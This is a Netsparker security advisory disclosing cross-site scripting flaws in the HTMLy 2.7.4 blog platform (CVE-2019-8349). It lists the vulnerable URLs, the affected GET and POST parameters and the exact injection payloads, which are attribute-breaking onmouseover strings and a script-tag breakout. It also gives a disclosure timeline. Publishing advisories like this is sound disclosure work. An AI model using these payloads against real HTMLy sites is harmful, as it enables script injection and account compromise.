Multiple Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4

Information
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Advisory by Netsparker
Name: Cross-Site Scripting Vulnerabilities in HTMLy 2.7.4
Affected Software: HTMLy
Affected Versions: 2.7.4
Homepage: https://github.com/danpros/htmly
Vulnerability: Cross-Site Scripting
Severity: High
Status: Not Fixed
CVE-ID: CVE-2019-8349
CVSS Score (3.0): CVSS:3.0/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Netsparker Advisory Reference: NS-18-059

Technical Details
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URL  http://ns.app/ScanApp/htmly/2018/04/test-image-post/delete?destination=x" onmouseover=netsparker(0x004191) x="  
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x004191)+x%3d%22  

URL  http://ns.app/ScanApp/htmly/2018/04/test-image-post/edit?destination=x" onmouseover=netsparker(0x00409D) x="  
Parameter Name  destination
Parameter Type  GET
Attack Pattern  x%22+onmouseover%3dnetsparker(0x00409D)+x%3d%22  

URL  http://ns.app/ScanApp/htmly/author/kanti  
Injection URL  http://ns.app/ScanApp/htmly/edit/profile  
Parameter Name  content
Parameter Type  POST
Attack Pattern  '"--></style></scRipt><scRipt>netsparker(0x005D63)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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28th November 2018 - First Contact
29th November 2018 - Details Sent
23rd January 2019 - Last Attempt to Contact
18th February 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.